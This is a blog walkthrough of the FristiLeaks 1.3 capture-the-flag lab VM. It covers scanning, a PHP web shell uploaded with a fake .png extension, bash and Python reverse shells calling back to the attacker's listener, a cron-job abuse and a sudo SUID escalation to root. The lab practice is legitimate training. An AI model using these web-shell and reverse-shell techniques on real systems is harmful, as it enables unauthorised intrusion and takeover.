John's Headshot

John's InfoSec Ramblings

The thoughts of a man working his way through a career in Information Security.

John Svazic

16 minute read

FristiLeaks: 1.3

Name       : FristiLeaks: 1.3
Difficulty : Beginner
Type       : boot2root
Source     : VulnHub
URL        : https://www.vulnhub.com/entry/fristileaks-13,133/
Entry      : 8 / 30

Welcome to the walkthrough for FristiLeaks: 1.3, a boot2root CTF found on VulnHub. This is the eighth VM in my VulnHub Challenge!

FristiLeaks is quite a fun challenge, since it has a lot of “traditional” CTF elements with it such as encoding, upload bypass, etc. It is also often listed as one of the VulnHub VMs that should be completed as part of the preparation for the OSCP.

Goal

For this particular entry in the series, there is a flag file in the /root directory that can be read once access is gained to the root user.

Setup

I’m using VMWare Workstation Player to host Kali and the FristiLeaks: 1.3 image, with both VMs running in a NAT network. Refer to the Description section for this VM if you are using VMWare, since you must change the MAC address of your network adapter for it to work properly.

Discovery

I use netdiscover to search for the IP address of the target VM:

root@dante:~# netdiscover -r 192.168.127.0/24
Currently scanning: Finished!   |   Screen View: Unique Hosts

 6 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 360
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 192.168.127.1   00:50:56:c0:00:08      1      60  VMware, Inc.
 192.168.127.2   00:50:56:e9:f5:d4      2     120  VMware, Inc.
 192.168.127.142 08:00:27:a5:a6:76      2     120  PCS Systemtechnik GmbH
 192.168.127.254 00:50:56:f7:1c:69      1      60  VMware, Inc.

So it looks like 192.168.127.142 is our target IP. Since we changed the MAC address for the VM, this makes sense as to why it isn’t a VMWare, Inc. MAC vendor.

Scanning

I’ll start with a quick nmap scan to look for open ports, then do a second scan that does a deeper dive into the services behind the open ports using the -sC and -sV flags:

root@dante:~# nmap 192.168.127.142
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-01 19:10 EDT
Nmap scan report for 192.168.127.142
Host is up (0.00094s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 5.31 seconds
root@dante:~# nmap -sC -sV -p80 192.168.127.142
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-01 19:10 EDT
Nmap scan report for 192.168.127.142
Host is up (0.00036s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
| http-methods:
|_  Potentially risky methods: TRACE
| http-robots.txt: 3 disallowed entries
|_/cola /sisi /beer
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.80 seconds

A very simple server indeed! Seems we only have port 80 open and there are a few entries in the robots.txt file. The VM also seems to be running CentOS based on the response from the Apache version string, so we’ll keep that in mind as we scan further. Since we only have a web server to start with, it makes sense for us to focus our efforts there.

Web Reconnaissance

As with other VMs, I’m going to start with curl and see what I can pull down from the main URL as well as the ones from robots.txt:

root@dante:~# curl -v http://192.168.127.142/
*   Trying 192.168.127.142:80...
* TCP_NODELAY set
* Connected to 192.168.127.142 (192.168.127.142) port 80 (#0)
> GET / HTTP/1.1
> Host: 192.168.127.142
> User-Agent: curl/7.65.3
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sun, 01 Sep 2019 19:15:13 GMT
< Server: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
< Last-Modified: Tue, 17 Nov 2015 18:45:47 GMT
< ETag: "31b2-2bf-524c0ef1d551d"
< Accept-Ranges: bytes
< Content-Length: 703
< Connection: close
< Content-Type: text/html; charset=UTF-8
<
<!-- Welcome to #Fristleaks, a quick hackme VM by @Ar0xA

Goal: get UID 0 (root) and read the special flag file.
Timeframe: should be doable in 4 hours.
-->
<html>
<body bgcolor="#FF69B4">
<br />
<center><h1> The <a href="https://twitter.com/search?q=%23fristileaks">#fristileaks</a> motto:</h1> </center>
<center> <img src="images/keep-calm.png" /> </center>
<br />
Fristileaks 2015-12-11 are:<br>
@meneer, @barrebas, @rikvduijn, @wez3forsec, @PyroBatNL, @0xDUDE, @annejanbrouwer, @Sander2121, Reinierk, @DearCharles, @miamat, MisterXE, BasB, Dwight, Egeltje, @pdersjant, @tcp130x10, @spierenburg, @ielmatani, @renepieters, Mystery guest, @EQ_uinix, @WhatSecurity, @mramsmeets, @Ar0xA
</body>
</html>
root@dante:~# curl http://192.168.127.142/cola
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://192.168.127.142/cola/">here</a>.</p>
</body></html>
root@dante:~# curl http://192.168.127.142/cola/
<img src="/images/3037440.jpg"/>
root@dante:~# curl http://192.168.127.142/beer/
<img src="/images/3037440.jpg"/>
root@dante:~# curl http://192.168.127.142/sisi/
<img src="/images/3037440.jpg"/>
root@dante:~#

So the headers are pretty basic, but it’s interesting to see the various URLs /cola/, /beer, and /sisi/ all return the same image:

Protected URLs

Nice little troll there. But what about the main page?

Main Page

Nice, another meme. Well, let’s turn to some brute force tactics and use gobuster:

root@dante:~# gobuster dir -x php -f -t 30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.127.142/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://192.168.127.142/
[+] Threads:        30
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Add Slash:      true
[+] Timeout:        10s
===============================================================
2019/09/01 19:29:31 Starting gobuster
===============================================================
/cgi-bin/ (Status: 403)
/images/ (Status: 200)
/icons/ (Status: 200)
/error/ (Status: 403)
/beer/ (Status: 200)
[ERROR] 2019/09/01 19:30:11 [!] Get http://192.168.127.142/174752.php: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)
[ERROR] 2019/09/01 19:30:11 [!] Get http://192.168.127.142/logo_ndh2600.php: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)
[ERROR] 2019/09/01 19:30:11 [!] Get http://192.168.127.142/pppd.php: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)
...
<snip>

Yeah, so it didn’t take long before I ran into troubles scanning with gobuster. Could be something like OSSEC or some other brute force/rate limiting module or application running on the VM, but I’ll spare you the rest of the trouble. I did look into the /images/ and /icons/ paths, but nothing of interest was found. There were two images in the /images/ directory, and we’ve seen both of them already. The /icons/ directory just has the standard set of Apache icons, nothing else out of the ordinary.

That’s when I remembered the home page image! Keep Calm and Drink Fristi. Of course! Let me see what’s at /fristi/, since the other entries in the robots.txt file were all drinks of some sort (never heard of Sisi though, but it turns out it is a drink).

/fristi/ URL

Progress!


Before we move on, I just want to let you know that I was stuck on this stage for about an hour. This is common with CTFs where the authors will taunt you, but sometimes it helps to take a step back and try the obvious. Often times people will do things like check for stenographic passwords hidden in images, etc. I’m not saying that I did that, but, well, other people may do that! Sometimes the answer is quite literally right in front of you.


I’m going to take a quick look at the source for this page:

root@dante:~# curl http://192.168.127.142/fristi/
<html>
<head>
<meta name="description" content="super leet password login-test page. We use base64 encoding for images so they are inline in the HTML. I read somewhere on the web, that thats a good way to do it.">
<!--                                                                                                      
TODO:                                                                                                     
We need to clean this up for production. I left some junk in here to make testing easier.                 
                                                                                                          
- by eezeepz                                                                                              
-->
</head>
<body>
<center><h1> Welcome to #fristileaks admin portal</h1></center>
<center><img src="data:img/png;base64,/9j/4AAQSkZJRgABAgAAZABkAAD/7AARRHVja3kAAQAEAAAAZAAA/+4ADkFkb2JlAGTAAAAAAf/b
AIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgIC
AwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD
AwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgBrAImAwERAAIRAQMRAf/EAOsAAQABBAIDAQAAAAAAAAAA
AAAJAwcICgUGAQIECwEBAAAHAQEBAAAAAAAAAAAAAAIEBQYHCAkBAwoQAAAGAgECAwIICwMICAMG
BwECAwQFBgAHCBESIRMJMRRBIjIzcyQVClHRkrIjU6OzZBYXYXFUgZFCUpPTlNRDNCVVldUYGaFy
JvCxwWKi0vFjhEWWl0gRAAEDAwEEBwMFCgsFBgQGAwEAAgMRBAUGITESB0FRYXEiEwiBMhSRocFC
I7FSYnKSM1MVFwnRgqLSQ5OU1FUWGeGyY3Mk8MKD01QlozQmVrPDZHSklRi0J//aAAwDAQACEQMR
AD8Atassr5qv6VT5w/8Apm/1h/tzHxJquRbnO4jtO9U/OV/Wqflm/HnlSvOJ3WU85X9ap+Wb8eKl
OJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3W
U85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X
9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+
Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8e
KlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ
3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU8
5X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9a
p+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb
8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKl
...
<snip>
...
I/Z42J4O1Pqn8R+zxsTwdqfVP4j9njYng7VUJ7p2rf8AWPmw/VfrUsbO1ejy6Hfu+kL/2Q==" /></center><br/>
<!-- 
iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx
jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl
S0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixw
B4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+f
m63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJ
Zv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvb
DpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNd
jJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU
12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5
uvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg1
04VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLq
i1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg
tOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws
30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl
3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HK
ul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12q
mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34
rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFhe
EPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH
AHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk
CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR
U5ErkJggg==   
-->
...
<snip>

Yeah… That’s a lot of base64 encoded data. There’s also an interesting message from one of the developers right at the top! Seems they were kind enough to leave their username as well, eezeepz.

Turns out there are two base64-encoded blocks though, and one of them is commented out! Before I try tackling the login page with SQL injection and the like, I’m going to try to decode that second block and see what the resulting data is using the file command. I’ll start by copying the block to a file called comment-block.b64:

root@dante:~# vim comment-block.b64
root@dante:~# base64 -d comment-block.b64 > comment-block.bin
root@dante:~# file comment-block.bin
comment-block.bin: PNG image data, 365 x 75, 8-bit/color RGB, non-interlaced
root@dante:~# mv comment-block.bin comment-block.png

So it’s a PNG file! Interesting. Here’s what it looks like:

base64 decoded image

Right… I’m going to turn my attention to that login page again.

Logging In

I tried all manner of SQL injection, but no luck. I also tried the usual passwords of admin/admin, admin/fristi, admin/password, etc., but none of them worked. That’s when I remembered my own advice. What’s already been given to me that I can use? Well, we have a username, eezeepz, and we have a really weird string of k’s. Let me try those:

*Fristileaks* Login Page

I’m in.

Getting a Web Shell

On the upload page, we are restricted to uploading image files, i.e. JPG, GIF, or PNG files. Files seem to be uploaded to the uploads directory on the server, and I can browse to them directly. I.e. if I upload test.png, I can go to /fristi/uploads/test.png to view it in my browser.

No problem, I’ll try an old trick that usually works on upload pages that only check the extension. I’ll copy the file /usr/share/webshells/php/simple-backdoor.php to simple-backdoor.php.png and upload that file instead. It works! When I browse to the page I can see that I have a working PHP backdoor:

Fristileaks Login Page

Now the next step is to do a little recon to see if I can find something useful, like being able to create a proper reverse shell to do further exploration.

Enumeration with curl

I decide to go with curl rather than Burp just because I’d like to showcase that sometimes you don’t need big GUI-based tools to solve CTFs. That and Burp tends to slow down my machine after a while. I try a few simple which commands to see what’s available:

root@dante:~# curl -s http://192.168.127.142/fristi/uploads/simple-backdoor.php.png?cmd=which+nc | html2text
root@dante:~# curl -s http://192.168.127.142/fristi/uploads/simple-backdoor.php.png?cmd=which+wget | html2text
/usr/bin/wget
root@dante:~# curl -s http://192.168.127.142/fristi/uploads/simple-backdoor.php.png?cmd=which+python | html2text
/usr/bin/python
root@dante:~# curl -s http://192.168.127.142/fristi/uploads/simple-backdoor.php.png?cmd=which+perl | html2text
/usr/bin/perl
root@dante:~# curl -s http://192.168.127.142/fristi/uploads/simple-backdoor.php.png?cmd=which+curl | html2text
/usr/bin/curl
root@dante:~#

No nc, but there is wget, curl, python, and perl available. I’ll head over to the reverse shell cheat sheet and get the syntax for a reverse shell using bash. I personally like this one because it’s a simple command and generally works 99% of the time. If it doesn’t work I can always move on to using Python or Perl instead.

I setup my netcat listener locally with nc -nvlp 9001 and then fire off the command via my PHP backdoor:

root@dante:~# curl -s http://192.168.127.142/fristi/uploads/simple-backdoor.php.png?cmd=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.127.135%2F9001%200%3E%261

Note: For those wondering, I used an online URL encoder to encode the command, but Burp could easily do this as well.


root@dante:~# nc -nvlp 9001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 192.168.127.142.
Ncat: Connection from 192.168.127.142:41251.
bash: no job control in this shell
bash-4.1$ whoami
whoami
apache
bash-4.1$

Local Enumeration

I’ve successfully created my reverse shell and I’m running as the apache user. Before I do my standard run of LinEnum.sh, I’m just going to do some light reconnaissance. I’ll see what’s in the /home directory and then move on to the /var/www directory afterwards before I decide to run LinEnum.sh:

bash-4.1$ cd /home
cd /home
bash-4.1$ ls -al
ls -al
total 28
drwxr-xr-x.  5 root      root       4096 Nov 19  2015 .
dr-xr-xr-x. 22 root      root       4096 Sep  1 15:28 ..
drwx------.  2 admin     admin      4096 Jun 15 14:34 admin
drwx---r-x.  5 eezeepz   eezeepz   12288 Nov 18  2015 eezeepz
drwx------   2 fristigod fristigod  4096 Nov 19  2015 fristigod
bash-4.1$

Interesting! It seems the eezeepz directory is readable by everyone. There is a notes.txt file in the directory, which has some interesting content:

bash-4.1$ cat notes.txt
cat notes.txt
Yo EZ,

I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.

- Jerry

Excellent! It seems Jerry, a.k.a. admin, has given us the ability to run commands automatically! I go back to the reverse shell cheat sheet and decide on using a Python version this time. I create the /tmp/runthis file, setup a new listener on my Kali machine, and wait:

bash-4.1$ cd /tmp
cd /tmp
bash-4.1$ echo "/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK
_STREAM);s.connect((\"192.168.127.135\",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fil
eno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" > runthis
\"/bin/sh\",\"-i\"]);'" > runthis),1); os.dup2(s.fileno(),2);p=subprocess.call([
bash-4.1$

Note: I had to be careful to escape all the double-quotes in the original command, since I was using double-quotes to surround the command so that I could echo it to the runthis file.


root@dante:~# nc -nvlp 9002
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9002
Ncat: Listening on 0.0.0.0:9002
Ncat: Connection from 192.168.127.142.
Ncat: Connection from 192.168.127.142:45928.
sh: no job control in this shell
sh-4.1$ whoami
whoami
admin
sh-4.1$

Excellent, now I’m the admin user. Let’s see what else I can do.

Local Enumeration as admin

Let me see if this user has any sudo privileges:

sh-4.1$ sudo -l
sudo -l
sudo: sorry, you must have a tty to run sudo
sh-4.1$ python -c "import pty;pty.spawn('/bin/bash')"
python -c "import pty;pty.spawn('/bin/bash')"
[admin@localhost ~]$ sudo -l
sudo -l
[sudo] password for admin:
Sorry, try again.
[sudo] password for admin:
Sorry, try again.
[sudo] password for admin:
Sorry, try again.
sudo: 3 incorrect password attempts
[admin@localhost ~]$

Turns out I needed to have a proper TTY session before I could use sudo. No problem, Python to the rescue once again! In the end it didn’t matter though - without a password I can’t use sudo with the admin user.

Let me see what’s in the home directory:

[admin@localhost ~]$ pwd
pwd
/home/admin
[admin@localhost ~]$ ls -al
ls -al
total 656
drwx------. 2 admin     admin       4096 Jun 15 14:34 .
drwxr-xr-x. 5 root      root        4096 Nov 19  2015 ..
-rw-------  1 admin     admin        940 Jun 15 14:44 .bash_history
-rw-r--r--. 1 admin     admin         18 Sep 22  2015 .bash_logout
-rw-r--r--. 1 admin     admin        176 Sep 22  2015 .bash_profile
-rw-r--r--. 1 admin     admin        124 Sep 22  2015 .bashrc
-rwxr-xr-x  1 admin     admin      45224 Nov 18  2015 cat
-rwxr-xr-x  1 admin     admin      48712 Nov 18  2015 chmod
-rw-r--r--  1 admin     admin        737 Nov 18  2015 cronjob.py
-rw-r--r--  1 admin     admin         21 Nov 18  2015 cryptedpass.txt
-rw-r--r--  1 admin     admin        258 Nov 18  2015 cryptpass.py
-rwxr-xr-x  1 admin     admin      90544 Nov 18  2015 df
-rwxr-xr-x  1 admin     admin      24136 Nov 18  2015 echo
-rwxr-xr-x  1 admin     admin     163600 Nov 18  2015 egrep
-rwxr-xr-x  1 admin     admin     163600 Nov 18  2015 grep
-rwxr-xr-x  1 admin     admin      85304 Nov 18  2015 ps
-rw-r--r--  1 fristigod fristigod     25 Nov 19  2015 whoisyourgodnow.txt
[admin@localhost ~]$

I’ve had luck with .txt files in the past, so I’m going to start with those:

[admin@localhost ~]$ cat whoisyourgodnow.txt
cat whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG
[admin@localhost ~]$ cat cryptedpass.txt
cat cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq
[admin@localhost ~]$

Looks like these are base64 encoded strings, but there’s a Python script called cryptpass.py as well. Let me see what that looks like:

#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult

Well that’s pretty simple. This also explains the base64 encoded strings. So basically this Python script will read a string passed to it, base64 encodes that string, reverses it, then runs a ROT-13 cipher against the reversed string before returning the “encrypted” password.

I’ve written a simple Python script that reverses this process. With any luck, I should be able to use it to decode the passwords I found in those .txt files:

import base64,codecs,sys

def decodePass(encoded_passwd):
    reverse_b64 = codecs.decode(encoded_passwd, 'rot13')
    b64_passwd = reverse_b64[::-1]
    passwd = base64.b64decode(b64_passwd)
    return passwd

passwd = decodePass(sys.argv[1])
print passwd

Decoding the original passwords, I get thisisalsopw123 and LetThereBeFristi! from cryptedpass.txt and whoisyourgodnow.txt respectively. Now that we have a password for fristigod (remember, this is the owner of the whoisyourgodnow.txt file), let me see if I can use su to log in as fristigod.

[admin@localhost ~]$ su fristigod -
su fristigod -
Password: LetThereBeFristi!

bash-4.1$ whoami
whoami
fristigod
bash-4.1$ pwd
pwd
/home/admin
bash-4.1$ cd /home/fristigod
cd /home/fristigod
bash-4.1$ ls -al
ls -al
total 20
drwx------  2 fristigod fristigod 4096 Nov 19  2015 .
drwxr-xr-x. 5 root      root      4096 Nov 19  2015 ..
-rw-r--r--  1 fristigod fristigod   18 Sep 22  2015 .bash_logout
-rw-r--r--  1 fristigod fristigod  176 Sep 22  2015 .bash_profile
-rw-r--r--  1 fristigod fristigod  124 Sep 22  2015 .bashrc
bash-4.1$

Awesome! I’ve jumped to yet another user (typical of a standard CTF), meaning I’m one step closer to getting the flag.

Getting the Flag

As the fristigod user, I check to see if it has any sudo privileges:

bash-4.1$ sudo -l
sudo -l
[sudo] password for fristigod: LetThereBeFristi!

Matching Defaults entries for fristigod on this host:
    requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
    DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
    PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
    LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
    LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User fristigod may run the following commands on this host:
    (fristi : ALL) /var/fristigod/.secret_admin_stuff/doCom
bash-4.1$ ls -al /var/fristigod/.secret_admin_stuff/doCom
ls -al /var/fristigod/.secret_admin_stuff/doCom
-rwsr-sr-x 1 root root 7529 Nov 25  2015 /var/fristigod/.secret_admin_stuff/doCom
bash-4.1$

VERY interesting! It appears that we can use the user sudo as the user fristi to access the /var/fristigod/.secret_admin_stuff/doCom executable, which happens to have the SUID and SGID bits set. The only question is, what does it do?

bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
[sudo] password for fristigod: LetThereBeFristi!

Usage: ./program_name terminal_command ...bash-4.1$

bash-4.1$

It looks like it will allow me to run a terminal command? Might as well go for broke!

bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom su -
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom su -
[root@localhost ~]# whoami
whoami
root
[root@localhost ~]# pwd
pwd
/root
[root@localhost ~]# ls -al
ls -al
total 48
dr-xr-x---.  3 root root 4096 Nov 25  2015 .
dr-xr-xr-x. 22 root root 4096 Sep  1 15:28 ..
-rw-------   1 root root 1936 Nov 25  2015 .bash_history
-rw-r--r--.  1 root root   18 May 20  2009 .bash_logout
-rw-r--r--.  1 root root  176 May 20  2009 .bash_profile
-rw-r--r--.  1 root root  176 Sep 22  2004 .bashrc
drwxr-xr-x.  3 root root 4096 Nov 25  2015 .c
-rw-r--r--.  1 root root  100 Sep 22  2004 .cshrc
-rw-------.  1 root root  246 Nov 17  2015 fristileaks_secrets.txt
-rw-------.  1 root root 1291 Nov 17  2015 .mysql_history
-rw-r--r--.  1 root root  129 Dec  3  2004 .tcshrc
-rw-------.  1 root root  829 Nov 17  2015 .viminfo
[root@localhost ~]#

Boom. I have root. Now let me grab that flag and be done with this machine:

[root@localhost ~]# cat fristileaks_secrets.txt
cat fristileaks_secrets.txt
Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)


Flag: Y0u_kn0w_y0u_l0ve_fr1st1


[root@localhost ~]#

Fin.

comments powered by Disqus

Recent posts

See more

Categories

About

Hi. I'm John, and I'm an Information Security Generalist.